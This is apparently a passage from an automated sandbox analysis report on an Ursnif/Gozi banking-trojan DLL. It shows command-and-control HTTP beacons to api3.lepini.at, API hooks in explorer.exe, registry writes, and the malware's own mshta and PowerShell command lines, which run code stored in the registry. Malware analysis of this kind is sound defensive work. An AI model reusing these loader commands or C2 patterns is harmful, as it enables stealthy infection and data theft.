02 17 a6 96 46 ad ae 25 c2 bb 97 7a 57 35 aa 0a 42 b5 c3 8a 35 af 20 1b 1a b9 c6 99 99 8a b2 b6 46 1c 70 a0 53 c2 e9 
a2 e6 ad a4 8f d5 11 da 74 60 13 7c 55 4d 42 1c c6 a4 47 a8 4e 27 67 a4 37 b3 0e ca f5 b1 9a a5 de e3 07 25 55 07 ff 18 
b3 17 44 8b a0 af e3 f5 ff 75 b8 f2 2b 4d 9e f9 ad 07 c0 5e d7 1b ab 81 e4 99 93 ac a9 63 2f 4e 27 18 d0 dd 29 f7 28 98 b1 
c3 5e 52 9e d4 01 1b 9f ba 6d 7d 24 b8 cc 84 0e 03 07 2e 3a ba b5 ad 8b ae 57 ce 78 7b aa 0f 07 5f ee 2a 4a 6b 0d f8 40 
bb 79 91 71 5d ae 1b 1d 3c bf b9 e2 9b d4 4c 6c 52 55 e3 59 22 40 9a 6f cc 9a 14 bb 63 ad 00 8f bf cd 7b ca 18 ce c6 df 
21 08 86 ed 93 17 79 b7 6d 89 0c ba 64 8a 93 dd fa 1b 07 69 84 31 87 f9 ae 59 a4 f8 ed 03 62 6f 2a fa 54 99 38 81 d4 e3 
dc e8 39 d4 b0 62 81 c2 49 a1 
Data Ascii: E~r[f1pwC|o5XSev5}Dc`!h=:UL>4HG{STUOoQsI=HR)3uHXIX6[VrSh3>oK\@'E*_v[R{MMpq9.8G^j\<*A_n.$
jCu}Ws<!+Q6U(VQ6Di$(LiR1M(<?_Sd]|(qZ`{[{b/;"=,v{jGbd]T&;RwihXR^6A]:+Z@`HJeSNC#s!L] ;CtBz~$sGGAOR5s>2
|;GHf.?I63L@+Y*sX'1mcp{_gTyB!n#TCJw.m!@4db|EejiPBXmPj.^JgYctw\9)#!;5Iggi0~H[_'nZ$SaX*Sw^BN*g'Nj~E{\S
AO2LB<y{,!oj8H75zcNk#2F7GI5H~Ij3ZD3hnF%zW5B5 FpSt`|UMBGN'g7%UDu+M^c/N')(^Rm}$.:Wx{_*Jk@yq]
<LlRUY"@oc{!ymdi1Ybo*T89bI

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

6 192.168.2.3 49780 34.65.144.159 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp
kBytes
transferred Direction Data

Feb 15, 2021 
21:29:30.601593971 CET

8548 OUT GET /api1/8_2FVgZpGgOpBtPbJtTC/2rMn4UngXKzbuPU6_2F/HMrKuoN_2FrAmSXD_2BLs1/_2BBTwBp4cn7d/E9
xMiSRD/EFtTe76YzG6SwcxvsD6t_2B/HIWd_2BnZu/GC7JETGujSFr8ZPF8/xnPVInDfXKwF/NPgQVsTwu8S/fODbY
SsgOG1Kvc/kzeOFOJoGwu_2FiqONxDX/ZrCaCgDo8dJu1lDT/GTsLFQvN3R9_2B4/pKgPpYToMQzrl1Jpjk/iH_2Fd
E98/UAkOcl0pZ1330cRb_2Br/G6mmM7PXa9UEYS394sU/YUU8DGx_2Fbfi2xSZi4oaM/9ScFDx320/O21oW HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Host: api3.lepini.at

Feb 15, 2021 
21:29:31.290532112 CET

8548 IN HTTP/1.1 200 OK
Server: nginx
Date: Mon, 15 Feb 2021 20:29:31 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
Strict-Transport-Security: max-age=63072000; includeSubdomains
X-Content-Type-Options: nosniff
Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Session ID Source IP Source Port Destination IP Destination Port Process

7 192.168.2.3 49781 34.65.144.159 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp
kBytes
transferred Direction Data
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Feb 15, 2021 
21:29:31.418087959 CET

8549 OUT POST /api1/cAvNUqMpc/IdHHapeYD4SHdVXH3mAd/peW1DdulTWxo4jVdhE_/2BclvubCIZEFeHr2parLsi/W8vAu
egF9qm1_/2Bc2Uri2/tI_2B7VBmrQkM_2FGOLWJdV/ZevcOT_2F7/aN1O0bRn0Thy1qYaF/CgfK9alhGqne/Nmw4NX
JBDJn/P8aNBBkTqkQ37x/zISm_2BHG3rvuQpW_2B7f/WOCiLUCfbgcmsJTv/KTRHMKqR6xGOuzu/qERS7QC2tez7od
TnTc/DN55JCA1v/CVUVwlhUlDcO4fFIy9AC/YGj5TohopLY3Qf8uovP/37r2p6OXxSz6q_2FvuXhXL/nUKFbI3z5dX
ujOWmh/2 HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Content-Length: 2
Host: api3.lepini.at

Feb 15, 2021 
21:29:32.003947973 CET

8550 IN HTTP/1.1 200 OK
Server: nginx
Date: Mon, 15 Feb 2021 20:29:31 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
Strict-Transport-Security: max-age=63072000; includeSubdomains
X-Content-Type-Options: nosniff
Data Raw: 37 38 0d 0a f9 ba bb 4b 06 5c 37 ed 0e a3 e8 8d f3 bf 7c 25 b4 6e 7b 8f 95 a5 1e 0c fb 53 bb 56 f1 32 35 e9 42 
bb 58 b2 48 25 9a d4 39 bc f6 75 79 df 5c 2f 2a 81 ec 5b fe 45 e0 bf 31 86 71 30 33 09 c0 cc ba d6 7e e5 ce df 48 8f 03 47 
1b 56 f0 d2 ec 5f e3 6b a2 e9 75 29 f6 66 e4 b1 e8 fd e0 00 90 3e f0 22 74 96 27 f2 ec 74 a6 40 fd 2b 07 2b 92 4a e4 81 
32 86 2f 00 94 f2 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 78K\7|%n{SV25BXH%9uy\/*[E1q03~HGV_ku)f>"t't@++J2/0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

8 192.168.2.3 49782 34.65.144.159 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp
kBytes
transferred Direction Data

Feb 15, 2021 
21:29:32.350742102 CET

8551 OUT GET /api1/wu2u0mamvle7KD3/V6FhzqyfAxIIU2CaAI/qIlRS_2Fx/CthpOK_2Fj8wKLTLfSVs/rYUWFtewT2k11AN4cZS/nADS
bEjd5nmtg_2FvKXti7/hC7JJIuUA46Uh/TPa1y6Ss/9sd_2BknTwiuDaVPT_2BJN_/2Bo_2BxpLD/baYT3TeDtFAjqrMrY/4u4jy
8DGteXw/aQ07htYAD6p/ExCU5Jl803zQQH/31SKQURjSKCAIf_2FCppg/AgmycwtL1yYvooXF/yeog_2FgLesyEFb/
I955KrmqJ1PjWL_2Be/bF8vRaRbN/pHkoU68_2FcveZ9A_2F9/c0dMMHLi/F4if1 HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Host: api3.lepini.at

Feb 15, 2021 
21:29:32.758956909 CET

8551 IN HTTP/1.1 200 OK
Server: nginx
Date: Mon, 15 Feb 2021 20:29:32 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
Strict-Transport-Security: max-age=63072000; includeSubdomains
X-Content-Type-Options: nosniff
Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp Source IP
Source
Port Dest IP

Dest
Port Subject Issuer

Not
Before

Not
After

JA3 SSL Client
Fingerprint JA3 SSL Client Digest

Feb 15, 2021 
21:27:41.870696068 
CET

104.20.184.68 443 192.168.2.3 49730 CN=onetrust.com, 
O="Cloudflare, Inc.", 
L=San Francisco, 
ST=California, C=US 
CN=Cloudflare Inc ECC 
CA-3, O="Cloudflare, Inc.", 
C=US

CN=Cloudflare Inc ECC 
CA-3, O="Cloudflare, 
Inc.", C=US 
CN=Baltimore 
CyberTrust Root, 
OU=CyberTrust, 
O=Baltimore, C=IE

Fri Feb 
12 
01:00:00 
CET 
2021 
Mon Jan 
27 
13:48:08 
CET 
2020

Sat Feb 
12 
00:59:59 
CET 
2022 
Wed 
Jan 01 
00:59:59 
CET 
2025

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

9e10692f1b7f78228b2d4e
424db3a98c

CN=Cloudflare Inc ECC 
CA-3, O="Cloudflare, Inc.", 
C=US

CN=Baltimore 
CyberTrust Root, 
OU=CyberTrust, 
O=Baltimore, C=IE

Mon Jan 
27 
13:48:08 
CET 
2020

Wed 
Jan 01 
00:59:59 
CET 
2025

HTTPS Packets
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Feb 15, 2021 
21:27:41.871809006 
CET

104.20.184.68 443 192.168.2.3 49729 CN=onetrust.com, 
O="Cloudflare, Inc.", 
L=San Francisco, 
ST=California, C=US 
CN=Cloudflare Inc ECC 
CA-3, O="Cloudflare, Inc.", 
C=US

CN=Cloudflare Inc ECC 
CA-3, O="Cloudflare, 
Inc.", C=US 
CN=Baltimore 
CyberTrust Root, 
OU=CyberTrust, 
O=Baltimore, C=IE

Fri Feb 
12 
01:00:00 
CET 
2021 
Mon Jan 
27 
13:48:08 
CET 
2020

Sat Feb 
12 
00:59:59 
CET 
2022 
Wed 
Jan 01 
00:59:59 
CET 
2025

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

9e10692f1b7f78228b2d4e
424db3a98c

CN=Cloudflare Inc ECC 
CA-3, O="Cloudflare, Inc.", 
C=US

CN=Baltimore 
CyberTrust Root, 
OU=CyberTrust, 
O=Baltimore, C=IE

Mon Jan 
27 
13:48:08 
CET 
2020

Wed 
Jan 01 
00:59:59 
CET 
2025

Feb 15, 2021 
21:27:46.896729946 
CET

151.101.1.44 443 192.168.2.3 49746 CN=*.taboola.com, 
O="Taboola, Inc", L=New 
York, ST=New York, C=US 
CN=DigiCert TLS RSA 
SHA256 2020 CA1, 
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA 
SHA256 2020 CA1, 
O=DigiCert Inc, C=US 
CN=DigiCert Global 
Root CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

Wed 
Nov 25 
01:00:00 
CET 
2020 
Thu Sep 
24 
02:00:00 
CEST 
2020

Mon 
Dec 27 
00:59:59 
CET 
2021 
Tue Sep 
24 
01:59:59 
CEST 
2030

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

9e10692f1b7f78228b2d4e
424db3a98c

CN=DigiCert TLS RSA 
SHA256 2020 CA1, 
O=DigiCert Inc, C=US

CN=DigiCert Global 
Root CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

Thu Sep 
24 
02:00:00 
CEST 
2020

Tue Sep 
24 
01:59:59 
CEST 
2030

Feb 15, 2021 
21:27:46.896826029 
CET

151.101.1.44 443 192.168.2.3 49744 CN=*.taboola.com, 
O="Taboola, Inc", L=New 
York, ST=New York, C=US 
CN=DigiCert TLS RSA 
SHA256 2020 CA1, 
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA 
SHA256 2020 CA1, 
O=DigiCert Inc, C=US 
CN=DigiCert Global 
Root CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

Wed 
Nov 25 
01:00:00 
CET 
2020 
Thu Sep 
24 
02:00:00 
CEST 
2020

Mon 
Dec 27 
00:59:59 
CET 
2021 
Tue Sep 
24 
01:59:59 
CEST 
2030

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

9e10692f1b7f78228b2d4e
424db3a98c

CN=DigiCert TLS RSA 
SHA256 2020 CA1, 
O=DigiCert Inc, C=US

CN=DigiCert Global 
Root CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

Thu Sep 
24 
02:00:00 
CEST 
2020

Tue Sep 
24 
01:59:59 
CEST 
2030

Feb 15, 2021 
21:27:46.896919012 
CET

151.101.1.44 443 192.168.2.3 49742 CN=*.taboola.com, 
O="Taboola, Inc", L=New 
York, ST=New York, C=US 
CN=DigiCert TLS RSA 
SHA256 2020 CA1, 
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA 
SHA256 2020 CA1, 
O=DigiCert Inc, C=US 
CN=DigiCert Global 
Root CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

Wed 
Nov 25 
01:00:00 
CET 
2020 
Thu Sep 
24 
02:00:00 
CEST 
2020

Mon 
Dec 27 
00:59:59 
CET 
2021 
Tue Sep 
24 
01:59:59 
CEST 
2030

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

9e10692f1b7f78228b2d4e
424db3a98c

CN=DigiCert TLS RSA 
SHA256 2020 CA1, 
O=DigiCert Inc, C=US

CN=DigiCert Global 
Root CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

Thu Sep 
24 
02:00:00 
CEST 
2020

Tue Sep 
24 
01:59:59 
CEST 
2030

Feb 15, 2021 
21:27:46.897017002 
CET

151.101.1.44 443 192.168.2.3 49745 CN=*.taboola.com, 
O="Taboola, Inc", L=New 
York, ST=New York, C=US 
CN=DigiCert TLS RSA 
SHA256 2020 CA1, 
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA 
SHA256 2020 CA1, 
O=DigiCert Inc, C=US 
CN=DigiCert Global 
Root CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

Wed 
Nov 25 
01:00:00 
CET 
2020 
Thu Sep 
24 
02:00:00 
CEST 
2020

Mon 
Dec 27 
00:59:59 
CET 
2021 
Tue Sep 
24 
01:59:59 
CEST 
2030

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

9e10692f1b7f78228b2d4e
424db3a98c

CN=DigiCert TLS RSA 
SHA256 2020 CA1, 
O=DigiCert Inc, C=US

CN=DigiCert Global 
Root CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

Thu Sep 
24 
02:00:00 
CEST 
2020

Tue Sep 
24 
01:59:59 
CEST 
2030

Timestamp Source IP
Source
Port Dest IP

Dest
Port Subject Issuer

Not
Before

Not
After

JA3 SSL Client
Fingerprint JA3 SSL Client Digest
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Code Manipulations

Feb 15, 2021 
21:27:46.897321939 
CET

151.101.1.44 443 192.168.2.3 49743 CN=*.taboola.com, 
O="Taboola, Inc", L=New 
York, ST=New York, C=US 
CN=DigiCert TLS RSA 
SHA256 2020 CA1, 
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA 
SHA256 2020 CA1, 
O=DigiCert Inc, C=US 
CN=DigiCert Global 
Root CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

Wed 
Nov 25 
01:00:00 
CET 
2020 
Thu Sep 
24 
02:00:00 
CEST 
2020

Mon 
Dec 27 
00:59:59 
CET 
2021 
Tue Sep 
24 
01:59:59 
CEST 
2030

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

9e10692f1b7f78228b2d4e
424db3a98c

CN=DigiCert TLS RSA 
SHA256 2020 CA1, 
O=DigiCert Inc, C=US

CN=DigiCert Global 
Root CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

Thu Sep 
24 
02:00:00 
CEST 
2020

Tue Sep 
24 
01:59:59 
CEST 
2030

Feb 15, 2021 
21:27:46.900350094 
CET

151.101.1.44 443 192.168.2.3 49747 CN=*.taboola.com, 
O="Taboola, Inc", L=New 
York, ST=New York, C=US 
CN=DigiCert TLS RSA 
SHA256 2020 CA1, 
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA 
SHA256 2020 CA1, 
O=DigiCert Inc, C=US 
CN=DigiCert Global 
Root CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

Wed 
Nov 25 
01:00:00 
CET 
2020 
Thu Sep 
24 
02:00:00 
CEST 
2020

Mon 
Dec 27 
00:59:59 
CET 
2021 
Tue Sep 
24 
01:59:59 
CEST 
2030

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

9e10692f1b7f78228b2d4e
424db3a98c

CN=DigiCert TLS RSA 
SHA256 2020 CA1, 
O=DigiCert Inc, C=US

CN=DigiCert Global 
Root CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

Thu Sep 
24 
02:00:00 
CEST 
2020

Tue Sep 
24 
01:59:59 
CEST 
2030

Timestamp Source IP
Source
Port Dest IP

Dest
Port Subject Issuer

Not
Before

Not
After

JA3 SSL Client
Fingerprint JA3 SSL Client Digest

Function Name Hook Type Active in Processes

CreateProcessAsUserW EAT explorer.exe

CreateProcessAsUserW INLINE explorer.exe

CreateProcessW EAT explorer.exe

CreateProcessW INLINE explorer.exe

CreateProcessA EAT explorer.exe

CreateProcessA INLINE explorer.exe

api-ms-win-core-processthreads-l1-1-0.dll:CreateProcessW IAT explorer.exe

api-ms-win-core-registry-l1-1-0.dll:RegGetValueW IAT explorer.exe

Function Name Hook Type New Data

CreateProcessAsUserW EAT 7FFB70FF521C

CreateProcessAsUserW INLINE 0xFF 0xF2 0x25 0x50 0x00 0x00 

CreateProcessW EAT 7FFB70FF5200

CreateProcessW INLINE 0xFF 0xF2 0x25 0x50 0x00 0x00 

CreateProcessA EAT 7FFB70FF520E

CreateProcessA INLINE 0xFF 0xF2 0x25 0x50 0x00 0x00 

Function Name Hook Type New Data

api-ms-win-core-processthreads-l1-1-0.dll:CreateProcessW IAT 7FFB70FF5200

api-ms-win-core-registry-l1-1-0.dll:RegGetValueW IAT 610719C

Function Name Hook Type New Data

api-ms-win-core-processthreads-l1-1-0.dll:CreateProcessW IAT 7FFB70FF5200

api-ms-win-core-registry-l1-1-0.dll:RegGetValueW IAT 610719C

User Modules

Hook Summary

Processes

Process: explorer.exe, Module: KERNEL32.DLL

Process: explorer.exe, Module: user32.dll

Process: explorer.exe, Module: WININET.dll
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Statistics

Behavior

• loaddll32.exe

• regsvr32.exe

• cmd.exe

• iexplore.exe

• iexplore.exe

• iexplore.exe

• iexplore.exe

• iexplore.exe

• mshta.exe

• powershell.exe

• conhost.exe

• csc.exe

• cvtres.exe

• control.exe

• csc.exe

Click to jump to process

System Behavior

File ActivitiesFile Activities

Start time: 21:27:34

Start date: 15/02/2021

Path: C:\Windows\System32\loaddll32.exe

Wow64 process (32bit): true

Commandline: loaddll32.exe 'C:\Users\user\Desktop\Ne6A4k8vK6.dll'

Imagebase: 0x330000

File size: 121856 bytes

MD5 hash: 8081BC925DFC69D40463079233C90FA5

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: low

File Path Access Attributes Options Completion Count
Source
Address Symbol

Start time: 21:27:35

Start date: 15/02/2021

Path: C:\Windows\SysWOW64\regsvr32.exe

Wow64 process (32bit): true

Commandline: regsvr32.exe /s C:\Users\user\Desktop\Ne6A4k8vK6.dll

Imagebase: 0xcd0000

Analysis Process: loaddll32.exe PID: 6696 Parent PID: 5656Analysis Process: loaddll32.exe PID: 6696 Parent PID: 5656

General

Analysis Process: regsvr32.exe PID: 6708 Parent PID: 6696Analysis Process: regsvr32.exe PID: 6708 Parent PID: 6696

General
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File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

File size: 20992 bytes

MD5 hash: 426E7499F6A7346F0410DEAD0805586B

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Ursnif, Description: Yara detected  Ursnif, Source: 
00000001.00000003.336276523.0000000005248000.00000004.00000040.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Ursnif, Description: Yara detected  Ursnif, Source: 
00000001.00000003.336080557.0000000005248000.00000004.00000040.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Ursnif, Description: Yara detected  Ursnif, Source: 
00000001.00000003.336180979.0000000005248000.00000004.00000040.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Ursnif, Description: Yara detected  Ursnif, Source: 
00000001.00000003.336303683.0000000005248000.00000004.00000040.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Ursnif, Description: Yara detected  Ursnif, Source: 
00000001.00000003.343871778.00000000050CB000.00000004.00000040.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Ursnif, Description: Yara detected  Ursnif, Source: 
00000001.00000002.455040534.00000000042F0000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Ursnif, Description: Yara detected  Ursnif, Source: 
00000001.00000003.336209770.0000000005248000.00000004.00000040.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Ursnif, Description: Yara detected  Ursnif, Source: 
00000001.00000003.336248371.0000000005248000.00000004.00000040.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Ursnif, Description: Yara detected  Ursnif, Source: 
00000001.00000003.406882710.0000000004330000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Ursnif, Description: Yara detected  Ursnif, Source: 
00000001.00000003.336157909.0000000005248000.00000004.00000040.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Ursnif, Description: Yara detected  Ursnif, Source: 
00000001.00000003.336112691.0000000005248000.00000004.00000040.sdmp, Author: 
Joe Security

Reputation: high

File Path Offset Length Completion Count
Source
Address Symbol

Key Path Name Type Data Completion Count
Source
Address Symbol

HKEY_CURRENT_USER\Software\App
DataLow\Software\Microsoft\86EC23E5-2D5A-A875-
E71A-B15C0BEE7550

Client binary 4C 04 00 00 08 80 00 00 F7 3B E0 
08 86 95 DC 15 E7 1A B1 5C C8 E7 
48 8A 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 

success or wait 1 4306687 RegSetValueExA

HKEY_CURRENT_USER\Software\App
DataLow\Software\Microsoft\86EC23E5-2D5A-A875-
E71A-B15C0BEE7550

System binary 1C 5E 3C CC B7 EF BF DC AE 35 10 
2F 01 30 79 09 

success or wait 1 43017A4 RegSetValueExA

Start time: 21:27:35

Start date: 15/02/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: C:\Windows\system32\cmd.exe /c 'C:\Program Files\Internet Explorer\iexplore.exe'

Imagebase: 0xbd0000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Key Value CreatedKey Value Created

Analysis Process: cmd.exe PID: 6728 Parent PID: 6696Analysis Process: cmd.exe PID: 6728 Parent PID: 6696

General
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File ActivitiesFile Activities

Programmed in: C, C++ or other language

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 21:27:35

Start date: 15/02/2021

Path: C:\Program Files\internet explorer\iexplore.exe

Wow64 process (32bit): false

Commandline: C:\Program Files\Internet Explorer\iexplore.exe

Imagebase: 0x7ff76f880000

File size: 823560 bytes

MD5 hash: 6465CB92B25A7BC1DF8E01D8AC5E7596

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

File Path Offset Length Completion Count
Source
Address Symbol

\{B14213CC-5CDC-0BCC-EE75-506F02798413} 0 16 pending 1 1A229572E80 ReadFile

\{B14213CC-5CDC-0BCC-EE75-506F02798413} 0 12 success or wait 1 1A229572E80 ReadFile

Key Path Completion Count
Source
Address Symbol

Key Path Name Type Data Completion Count
Source
Address Symbol

Key Path Name Type Old Data New Data Completion Count
Source
Address Symbol

Start time: 21:27:36

Start date: 15/02/2021

Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Wow64 process (32bit): true

Commandline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6744 CREDAT:17410 
/prefetch:2

Imagebase: 0x12c0000

File size: 822536 bytes

Analysis Process: iexplore.exe PID: 6744 Parent PID: 6728Analysis Process: iexplore.exe PID: 6744 Parent PID: 6728

General

File ReadFile Read

Analysis Process: iexplore.exe PID: 6828 Parent PID: 6744Analysis Process: iexplore.exe PID: 6828 Parent PID: 6744

General
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File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

MD5 hash: 071277CC2E3DF41EEEA8013E2AB58D5A

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

File Path Offset Length Completion Count
Source
Address Symbol

Key Path Completion Count
Source
Address Symbol

Key Path Name Type Data Completion Count
Source
Address Symbol

Key Path Name Type Old Data New Data Completion Count
Source
Address Symbol

File ActivitiesFile Activities

Start time: 21:28:27

Start date: 15/02/2021

Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Wow64 process (32bit): true

Commandline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6744 CREDAT:17426 
/prefetch:2

Imagebase: 0x12c0000

File size: 822536 bytes

MD5 hash: 071277CC2E3DF41EEEA8013E2AB58D5A

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

File Path Offset Length Completion Count
Source
Address Symbol

Start time: 21:28:31

Start date: 15/02/2021

Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Analysis Process: iexplore.exe PID: 6568 Parent PID: 6744Analysis Process: iexplore.exe PID: 6568 Parent PID: 6744

General

Analysis Process: iexplore.exe PID: 1632 Parent PID: 6744Analysis Process: iexplore.exe PID: 1632 Parent PID: 6744

General
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File ActivitiesFile Activities

Wow64 process (32bit): true

Commandline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6744 CREDAT:17432 
/prefetch:2

Imagebase: 0x12c0000

File size: 822536 bytes

MD5 hash: 071277CC2E3DF41EEEA8013E2AB58D5A

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

File Path Offset Length Completion Count
Source
Address Symbol

File ActivitiesFile Activities

Start time: 21:28:34

Start date: 15/02/2021

Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Wow64 process (32bit): true

Commandline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6744 CREDAT:17442 
/prefetch:2

Imagebase: 0x12c0000

File size: 822536 bytes

MD5 hash: 071277CC2E3DF41EEEA8013E2AB58D5A

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

File Path Offset Length Completion Count
Source
Address Symbol

Start time: 21:28:43

Start date: 15/02/2021

Path: C:\Windows\System32\mshta.exe

Wow64 process (32bit): false

Commandline: 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>resizeTo(1,1);eval(new Act
iveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\86E
C23E5-2D5A-A875-E71A-B15C0BEE7550\\\Actidsrv'));if(!window.flag)close()</script>'

Imagebase: 0x7ff70fc00000

File size: 14848 bytes

Analysis Process: iexplore.exe PID: 5224 Parent PID: 6744Analysis Process: iexplore.exe PID: 5224 Parent PID: 6744

General

Analysis Process: mshta.exe PID: 6676 Parent PID: 3388Analysis Process: mshta.exe PID: 6676 Parent PID: 3388

General
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MD5 hash: 197FC97C6A843BEBB445C1D9C58DCBDB

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Start time: 21:28:46

Start date: 15/02/2021

Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): false

Commandline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.En
coding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-
2D5A-A875-E71A-B15C0BEE7550').basebapi))

Imagebase: 0x7ff71e480000

File size: 447488 bytes

MD5 hash: 95000560239032BC68B4C2FDFCDEF913

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_Ursnif, Description: Yara detected  Ursnif, Source: 
00000021.00000003.428480646.000001F9546C0000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: GoziRule, Description: Win32.Gozi, Source: 
00000021.00000003.428480646.000001F9546C0000.00000004.00000001.sdmp, Author: 
CCN-CERT

Reputation: high

Start time: 21:28:47

Start date: 15/02/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff6b2800000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

